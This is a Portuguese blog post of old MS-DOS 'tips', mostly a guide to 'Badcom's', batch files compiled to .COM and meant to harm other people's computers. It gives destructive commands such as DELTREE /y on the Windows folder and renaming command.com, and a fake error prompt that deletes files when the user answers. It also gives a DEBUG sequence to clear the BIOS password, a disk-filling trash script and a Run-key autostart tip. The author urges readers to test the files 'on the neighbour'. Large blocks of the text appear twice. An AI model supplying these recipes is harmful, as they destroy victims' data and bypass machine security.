"
"
DICAS PARA MS-DOS
BADCOM'S
Introdução:
BADCOM'S
Introdução:
Badcom's são pequenos arquivos (.COM) que quando executados, eles realizam tarefas em um determinado computador... ou seja, são programas que fazem com que um PC realize comandos quanto do DOS quanto do Windows. Para isto você deve fazer um arquivo de LOTE com os comandos e compila-lo O Mais famoso compilador de arquivos de LOTE (.BAT) é o BAT2EXEC.COM.
Comandos Básicos
@ECHO OFF
Comando para não ser mostrados as linhas de comando em uma janela do MS-DOS, Exemplo: Colocando o comando DIR em um Badcom sem o @ECHO OFF no prompt ele mostrará o comando escrito na janela.. C:\DIR Com o comando @ECHO OFF, ele simplesmente elimina os dígitos dos comandos a serem mostrados.
CLS
Comando do MS-DOS, para limpar a tela.
@ECHO OFF
Comando para não ser mostrados as linhas de comando em uma janela do MS-DOS, Exemplo: Colocando o comando DIR em um Badcom sem o @ECHO OFF no prompt ele mostrará o comando escrito na janela.. C:\DIR Com o comando @ECHO OFF, ele simplesmente elimina os dígitos dos comandos a serem mostrados.
CLS
Comando do MS-DOS, para limpar a tela.
ECHO
Para desativar o comando @ECHO OFF, e mostrar caracteres em uma janela Exemplo: ECHO "Mensagem" Irá mostrar a mensagem na janela, após isso automaticamente retorna a não aparição de comandos na Janela. Criando arquivos com o comando ECHO: Para criar um arquivo com este comando, é necessário o comando , exemplo: ECHO Nomedoarquivo.extensão Irá criar o arquivo no ambiente do MS-DOS... Para criar arquivos com textos ou comandos, é necessário fazer o seguinte comando: ECHO ARQ.EXT "Comando ou mensagem" OBS: As aspas são apenas para indicação porém em comandos não funcionam as aspas. Ex: ECHO Eu.BAT DIR Irá criar um arquivo chamado Eu.BAT (Arquivo de Lote) Com o comando DIR dentro do mesmo.
ATTRIB
Este comando permite que você esconda um determinado arquivo, torne-o somente para leitura, ou torne arquivo do sistema. Para obter os comandos simplesmente digite na janela do MS-DOS: ATTRIB /?
MD
Para Criar diretórios Ex: MD NOMEDODIR
RD
Comando para desfazer diretórios vazios. EX: RD 'NOME DA PASTA VAZIA'
PROGRAMAS !!
Não é um comando.. heheh... é que nos Badcom's são muito útil o uso de programas comuns, como os padrões do Windows 95. Exemplo: O Programa Notepad.exe do Windows 95, para ele ser executado, A partir de um Badcom, você deve colocá-lo na linha de comando.. NOTEPAD.EXE. Para executar o programa a partir de um Badcom... no BAT coloque da seguinte forma:
@echo off
cls
notepad.exe <--- Não é necessário colocar o Path do Windows 95, pois Sendo executado durante o Windows, não acontecerá erros de não achar o programa..
Se quiser abrir textos com o tal programa ! notepad.exe arquivo.txt Você pode fazer isto com outros programas como o Pbrush.exe ( Paint ), Sol.exe ( Paciência ). Desde que estes programas instalados.
DEL ou DELETE
Para apagar arquivos, no Badcom é usado da seguinte maneira, Para deletar arquivos sem ter problemas de BUG, é necessário fazer com que o comando não tenha a opção (*.*), pois surgirá um prompt de confirmação de exclusão. Digite então da seguinte maneira: DEL *.Extensão, exemplo.. para apagar os arquivos .INI do diretório do Windows:
del Drive:\windir\*.ini ou use:
drive: cd\ windir
del *.ini
DELTREE
Muitos não tem conhecimento do que este comando pode causar em um sistema, pois é usado da maneira básica... Este "pode ser" o Mais perigoso comando contido em um Badcom. Uso com BUG: DELTREE DIRETORIO Com este comando, aparecerá a confirmação de exclusão do diretório, será muito difícil alguém responder SIM a pergunta não ??? Bem, vou informar o perigo deste comando... Há uma opção no DELTREE que evita a aparição do prompt de confirmação, sendo ela a mais destrutiva, deletando todos os arquivos de um diretório. Bom, para usar o Deltree de forma destrutiva basta acrescentar a opção /Y no mesmo, Exemplo: C:\Deltree /y windows
Aparecerá: Excluindo windows...
REN
Rename é um comando que pode causar dor de cabeça ao usuário atacado.. ex: use o REN em diversos arquivos...
REN command.com command.nad
REN Autoexec.bat autoexec.non e assim vai...
PROMPT
Com este comando você pode trocar o C:\> do Ms-dos pelo que você quiser. Por exemplo: C:\>
PROMPT teste:\> teste:\>
GOTO
Este comando faz com que o BAT pule ou volte para determinada parte do Programa. Exemplo: O uso do GOTO é muito usado se quiser que não pare de repetir determinado comando ... usando o comando CLS, veja:
@echo off
:INI <-- Indica a parte do programa onde vai ser voltado o comando
Cls
Goto INI
Usam-se dois ponto antes, outros exemplos são :START :COMEÇO GOTO INI <-- Aqui o comando GOTO, para voltar para o alvo indicado.
CHOICE
Comando que possibilita um prompt, exemplo: CHOICE /c1234 Para números ou letras é necessário o uso do /c, sem este comando somente CHOICE, mostrará o prompt: [Y,n]? Com o /c e os números irá mostrar: [1,2,3,4]? Este comando precisa de um complemento, leia em: IF e Errorlevel
IF e ERRORLEVEL
Este é muito usado em Badcom's, ele possibilita o desenvolvimento de questões e prompts para o usuário. exemplo: este comando eu uso muito em pegadinhas e perguntas sacanas, cada vez que o usuário erra a pergunta alguns arquivos são apagados. Seguido também do comando CHOICE Segue a string....
@echo off
cls
echo Seu sistema paralisou, o que deseja fazer ?
echo [1] Reiniciar
echo [2] Desligar
choice /c12 <-- Mostrará o prompt [1,2]?
if errorlevel 2 goto DES à aqui o comando if e errorlevel, sendo
if errorlevel 1 goto REI à se o usuário pressionar o 1, ele irá reiniciar o sistema Percebe-se que a posição das strings começa do 2 e depois vai para o 1. Qualquer dúvida nesta parte do badcom fale comigo! Estes são apenas comandos básicos para se aperfeiçoar nos Comandos do MS-dos você pode consultar o próprio HELP do MS-DOS, ele lhe dará varias informações, como no FORMAT e etc.. Com os Badcom’s você pode fazer muitas coisas até, destas que acabei de explicar, como por exemplo, mexer na memória do PC, e criar diretórios de impossível acesso para o Windows 95 ou 3.11.
Como compilar um Badcom
Para compilar um Badcom ele deve estar nomeado para nomedoarq.BAT Use o programa BAT2EXEC.COM, o mais conhecido compilador BAT. Usando o Bat2exec.com após editar o Badcom em qualquer editor de textos.. (o Mais usado é o EDIT do Ms-dos, pois não ocorrem erros de caracteres no ambiente MS-DOS) use a sintaxe: bat2exec nomedoarq.bat apague o original ou renomei, e execute o nomedoarq.COM para teste.. Claro que Badcom's somente para assustar. Tentem usar os Badcom's de forma inofensiva, evitando assim transtornos futuros.. Ah, não vai testar em seu PC igual eu fiz no meu não.... tive que reinstalar o Windows novamente, hehe ! Teste no vizinho...
13.2 ALTERE A COR NO MS-DOS
Para alterar as cores do MS-DOS, você precisará do driver ANSI.SYS carregado no Config.sys do micro.
Para isto, edite o Config.sys com EDIT C:\Config.sys e adicione a linha
DEVICEHIGH=C:\DOS\ANSI.SYS. Caso você utilize o Windows 95, o comando será
DEVICEHIGH=C:\WINDOWS\COMMAND\ANSI.SYS.Após o ANSI.SYS estar carregado em memória, você terá disponível no DOS as seguintes cores:
0 - Preto;
1 - Vermelho;
2 - Verde;
3 - Amarelo;
4 - Azul;
5 - Magenta;
6 - Ciano;
7 - Branco.
Para alterar as cores, utilize o comando PROMPT $e[3x;4ym$p$g, onde você deverá substituir "x" pela cor da letra e "y" pela cor de fundo, seguido a numeração de cores apresentada.
O comando PROMPT $e[37;44m$p$g, por exemplo, fará com que você tenha o MS-DOS com fundo azul e letras brancas.
Para maior comodidade, você poderá adicionar o comando "Prompt" contendo o seu esquema de cores preferido como última linha de seu Autoexec.bat.
13.3 APAGUE A SENHA DA BIOS
Para apagar a senha da BIOS, entre no prompt do MS-DOS e digite:
Debug -o 70 e2
-o 71 ff
-q
13.4 COMO CARREGAR O MICRO DE LIXO
1º- Vá até o dos e crie um arquivo com extensão .bat,
Ex.: Edit Lixo.bat
2º-dentro do arquivo digite como seguem as instruções abaixo:
@echo off
:inicio
Cls
echo Feito pela Pirataria S/A® , aguarde enquanto carrega...
goto end
:end
Dir c:\ /oe /p /a >> %winbootdir%\Winload32.exe
goto end
14. REGISTRO DO WINDOWS
Apesar de não ser uma dica de programação, este texto ajuda a entender de uma maneira bem simples e rápida as informações que estão armazenadas no Registro do Windows 95.
O Registry do Windows 95 consiste de uma estrutura hierárquica dividida em seis sub-árvores. Você pode usar o programa Regedit.exe para ver uma representação gráfica do Registry.
Muito provavelmente você deve ter uma cópia deste programa no diretório Windows\System do seu computador.
Veja abaixo a descrição de cada uma das seis sub-árvores que compõem o Registry:
· HKEY_CLASSES_ROOT - Este ramo contêm informações sobre as extensões dos arquivos; associações entre arquivos e aplicativos para suportar a funcionalidade de arrastar/soltar (drag and drop); informações sobre os atalhos do Windows 95. As informações deste ramo são atualizadas simultaneamente a partir das atualizações feitas nas informações de HKEY_LOCAL_MACHINE\Software\Classes.
· HKEY_CURRENT_USER - Neste ramo estão as informações relativas ao usuário que está utilizando o computador. Estas informações são originárias ,do ramo HKEY_USERS. Se só existir um único usuário, estas informações são as mesmas nos dois ramos.
· HKEY_LOCAL_MACHINE - O computador e seus componentes de hardware e também os softwares instalados. Múltiplas configurações são possíveis e são atualizadas dinamicamente.
· HKEY_USERS - Informações específicas sobre o desktop, rede e também sobre os usuários são mantidas neste ramo. Estas informações são gravadas no arquivo User.dat
· HKEY_CURRENT_CONFIG - Aqui você encontra informações sobre a configuração do monitor e também das impressoras instaladas no seu computador.
· HKEY_DYN_DATA - Este ramo armazena as informações sobre o desempenho do Windows. Você também vê estas informações clicando sobre o ícone Sistema no Painel de Controle.Como iniciar um programa na inicialização do Windows através do registro?
Para iniciar um programa através do registro, entre em:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\Run
e adicione uma nova seqüência, em dados, coloque o endereço de seu programa e pronto!
Como posso retirar aquela maldita mensagem que fica no titulo do Internet Explorer, como: "Fornecido por Universo Online" ou "Fornecido por IG - Internet Grátis" através do registro?
Para retirar esta maldita mensagem através do registro, entre em:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main e na seqüência Window Title em dados, mude a mensagem ou a apague e pronto!
Para desativar o comando @ECHO OFF, e mostrar caracteres em uma janela Exemplo: ECHO "Mensagem" Irá mostrar a mensagem na janela, após isso automaticamente retorna a não aparição de comandos na Janela. Criando arquivos com o comando ECHO: Para criar um arquivo com este comando, é necessário o comando , exemplo: ECHO Nomedoarquivo.extensão Irá criar o arquivo no ambiente do MS-DOS... Para criar arquivos com textos ou comandos, é necessário fazer o seguinte comando: ECHO ARQ.EXT "Comando ou mensagem" OBS: As aspas são apenas para indicação porém em comandos não funcionam as aspas. Ex: ECHO Eu.BAT DIR Irá criar um arquivo chamado Eu.BAT (Arquivo de Lote) Com o comando DIR dentro do mesmo.
ATTRIB
Este comando permite que você esconda um determinado arquivo, torne-o somente para leitura, ou torne arquivo do sistema. Para obter os comandos simplesmente digite na janela do MS-DOS: ATTRIB /?
MD
Para Criar diretórios Ex: MD NOMEDODIR
RD
Comando para desfazer diretórios vazios. EX: RD 'NOME DA PASTA VAZIA'
PROGRAMAS !!
Não é um comando.. heheh... é que nos Badcom's são muito útil o uso de programas comuns, como os padrões do Windows 95. Exemplo: O Programa Notepad.exe do Windows 95, para ele ser executado, A partir de um Badcom, você deve colocá-lo na linha de comando.. NOTEPAD.EXE. Para executar o programa a partir de um Badcom... no BAT coloque da seguinte forma:
@echo off
cls
notepad.exe <--- Não é necessário colocar o Path do Windows 95, pois Sendo executado durante o Windows, não acontecerá erros de não achar o programa..
Se quiser abrir textos com o tal programa ! notepad.exe arquivo.txt Você pode fazer isto com outros programas como o Pbrush.exe ( Paint ), Sol.exe ( Paciência ). Desde que estes programas instalados.
DEL ou DELETE
Para apagar arquivos, no Badcom é usado da seguinte maneira, Para deletar arquivos sem ter problemas de BUG, é necessário fazer com que o comando não tenha a opção (*.*), pois surgirá um prompt de confirmação de exclusão. Digite então da seguinte maneira: DEL *.Extensão, exemplo.. para apagar os arquivos .INI do diretório do Windows:
del Drive:\windir\*.ini ou use:
drive: cd\ windir
del *.ini
DELTREE
Muitos não tem conhecimento do que este comando pode causar em um sistema, pois é usado da maneira básica... Este "pode ser" o Mais perigoso comando contido em um Badcom. Uso com BUG: DELTREE DIRETORIO Com este comando, aparecerá a confirmação de exclusão do diretório, será muito difícil alguém responder SIM a pergunta não ??? Bem, vou informar o perigo deste comando... Há uma opção no DELTREE que evita a aparição do prompt de confirmação, sendo ela a mais destrutiva, deletando todos os arquivos de um diretório. Bom, para usar o Deltree de forma destrutiva basta acrescentar a opção /Y no mesmo, Exemplo: C:\Deltree /y windows
Aparecerá: Excluindo windows...
REN
Rename é um comando que pode causar dor de cabeça ao usuário atacado.. ex: use o REN em diversos arquivos...
REN command.com command.nad
REN Autoexec.bat autoexec.non e assim vai...
PROMPT
Com este comando você pode trocar o C:\> do Ms-dos pelo que você quiser. Por exemplo: C:\>
PROMPT teste:\> teste:\>
GOTO
Este comando faz com que o BAT pule ou volte para determinada parte do Programa. Exemplo: O uso do GOTO é muito usado se quiser que não pare de repetir determinado comando ... usando o comando CLS, veja:
@echo off
:INI <-- Indica a parte do programa onde vai ser voltado o comando
Cls
Goto INI
Usam-se dois ponto antes, outros exemplos são :START :COMEÇO GOTO INI <-- Aqui o comando GOTO, para voltar para o alvo indicado.
CHOICE
Comando que possibilita um prompt, exemplo: CHOICE /c1234 Para números ou letras é necessário o uso do /c, sem este comando somente CHOICE, mostrará o prompt: [Y,n]? Com o /c e os números irá mostrar: [1,2,3,4]? Este comando precisa de um complemento, leia em: IF e Errorlevel
IF e ERRORLEVEL
Este é muito usado em Badcom's, ele possibilita o desenvolvimento de questões e prompts para o usuário. exemplo: este comando eu uso muito em pegadinhas e perguntas sacanas, cada vez que o usuário erra a pergunta alguns arquivos são apagados. Seguido também do comando CHOICE Segue a string....
@echo off
cls
echo Seu sistema paralisou, o que deseja fazer ?
echo [1] Reiniciar
echo [2] Desligar
choice /c12 <-- Mostrará o prompt [1,2]?
if errorlevel 2 goto DES à aqui o comando if e errorlevel, sendo
if errorlevel 1 goto REI à se o usuário pressionar o 1, ele irá reiniciar o sistema Percebe-se que a posição das strings começa do 2 e depois vai para o 1. Qualquer dúvida nesta parte do badcom fale comigo! Estes são apenas comandos básicos para se aperfeiçoar nos Comandos do MS-dos você pode consultar o próprio HELP do MS-DOS, ele lhe dará varias informações, como no FORMAT e etc.. Com os Badcom’s você pode fazer muitas coisas até, destas que acabei de explicar, como por exemplo, mexer na memória do PC, e criar diretórios de impossível acesso para o Windows 95 ou 3.11.
Como compilar um Badcom
Para compilar um Badcom ele deve estar nomeado para nomedoarq.BAT Use o programa BAT2EXEC.COM, o mais conhecido compilador BAT. Usando o Bat2exec.com após editar o Badcom em qualquer editor de textos.. (o Mais usado é o EDIT do Ms-dos, pois não ocorrem erros de caracteres no ambiente MS-DOS) use a sintaxe: bat2exec nomedoarq.bat apague o original ou renomei, e execute o nomedoarq.COM para teste.. Claro que Badcom's somente para assustar. Tentem usar os Badcom's de forma inofensiva, evitando assim transtornos futuros.. Ah, não vai testar em seu PC igual eu fiz no meu não.... tive que reinstalar o Windows novamente, hehe ! Teste no vizinho...
13.2 ALTERE A COR NO MS-DOS
Para alterar as cores do MS-DOS, você precisará do driver ANSI.SYS carregado no Config.sys do micro.
Para isto, edite o Config.sys com EDIT C:\Config.sys e adicione a linha
DEVICEHIGH=C:\DOS\ANSI.SYS. Caso você utilize o Windows 95, o comando será
DEVICEHIGH=C:\WINDOWS\COMMAND\ANSI.SYS.Após o ANSI.SYS estar carregado em memória, você terá disponível no DOS as seguintes cores:
0 - Preto;
1 - Vermelho;
2 - Verde;
3 - Amarelo;
4 - Azul;
5 - Magenta;
6 - Ciano;
7 - Branco.
Para alterar as cores, utilize o comando PROMPT $e[3x;4ym$p$g, onde você deverá substituir "x" pela cor da letra e "y" pela cor de fundo, seguido a numeração de cores apresentada.
O comando PROMPT $e[37;44m$p$g, por exemplo, fará com que você tenha o MS-DOS com fundo azul e letras brancas.
Para maior comodidade, você poderá adicionar o comando "Prompt" contendo o seu esquema de cores preferido como última linha de seu Autoexec.bat.
13.3 APAGUE A SENHA DA BIOS
Para apagar a senha da BIOS, entre no prompt do MS-DOS e digite:
Debug -o 70 e2
-o 71 ff
-q
13.4 COMO CARREGAR O MICRO DE LIXO
1º- Vá até o dos e crie um arquivo com extensão .bat,
Ex.: Edit Lixo.bat
2º-dentro do arquivo digite como seguem as instruções abaixo:
@echo off
:inicio
Cls
echo Feito pela Pirataria S/A® , aguarde enquanto carrega...
goto end
:end
Dir c:\ /oe /p /a >> %winbootdir%\Winload32.exe
goto end
14. REGISTRO DO WINDOWS
Apesar de não ser uma dica de programação, este texto ajuda a entender de uma maneira bem simples e rápida as informações que estão armazenadas no Registro do Windows 95.
O Registry do Windows 95 consiste de uma estrutura hierárquica dividida em seis sub-árvores. Você pode usar o programa Regedit.exe para ver uma representação gráfica do Registry.
Muito provavelmente você deve ter uma cópia deste programa no diretório Windows\System do seu computador.
Veja abaixo a descrição de cada uma das seis sub-árvores que compõem o Registry:
· HKEY_CLASSES_ROOT - Este ramo contêm informações sobre as extensões dos arquivos; associações entre arquivos e aplicativos para suportar a funcionalidade de arrastar/soltar (drag and drop); informações sobre os atalhos do Windows 95. As informações deste ramo são atualizadas simultaneamente a partir das atualizações feitas nas informações de HKEY_LOCAL_MACHINE\Software\Classes.
· HKEY_CURRENT_USER - Neste ramo estão as informações relativas ao usuário que está utilizando o computador. Estas informações são originárias ,do ramo HKEY_USERS. Se só existir um único usuário, estas informações são as mesmas nos dois ramos.
· HKEY_LOCAL_MACHINE - O computador e seus componentes de hardware e também os softwares instalados. Múltiplas configurações são possíveis e são atualizadas dinamicamente.
· HKEY_USERS - Informações específicas sobre o desktop, rede e também sobre os usuários são mantidas neste ramo. Estas informações são gravadas no arquivo User.dat
· HKEY_CURRENT_CONFIG - Aqui você encontra informações sobre a configuração do monitor e também das impressoras instaladas no seu computador.
· HKEY_DYN_DATA - Este ramo armazena as informações sobre o desempenho do Windows. Você também vê estas informações clicando sobre o ícone Sistema no Painel de Controle.Como iniciar um programa na inicialização do Windows através do registro?
Para iniciar um programa através do registro, entre em:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Current Version\Run
e adicione uma nova seqüência, em dados, coloque o endereço de seu programa e pronto!
Como posso retirar aquela maldita mensagem que fica no titulo do Internet Explorer, como: "Fornecido por Universo Online" ou "Fornecido por IG - Internet Grátis" através do registro?
Para retirar esta maldita mensagem através do registro, entre em:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Main e na seqüência Window Title em dados, mude a mensagem ou a apague e pronto!
17. FRASES ENCONTRADAS NA INTERNET
"O Windows não é ruim, só não foi terminado"
Browser para DOS? www.io.com
Netscape em Português?www.netscape.com/pt
"Sogra.exe, se você tem este arquivo delete-o, não serve para nada e só ocupa espaço"
"Se Bill Gates é Divino, o Windows é o Apocalipse"
"O UNIX foi feitos por programadores, para programadores, portanto PROGRAME!!!"
"Pode parecer brincadeira, mas foi encontrada uma máquina rodando LINUX em baixo do domínio WWW.MICROSOFT.COM, dá para acreditar???"
“A diferença de quem usa um sistema operacional para quem usa o Windows é simples: um usuário de Windows só tem dor de cabeça com os problemas do sistema e perde todo seu tempo tentando fazer ele funcionar, enquanto um usuário de um sistema operacional tipo Linux ou Unix, faz seu trabalho e não esquenta tanto a cabeça com problemas do sistema porque ele sabe que são mínimos.”
ђλ¢Қ_λŧŧλ¢Ҝ™
0 التعليقات:
إرسال تعليق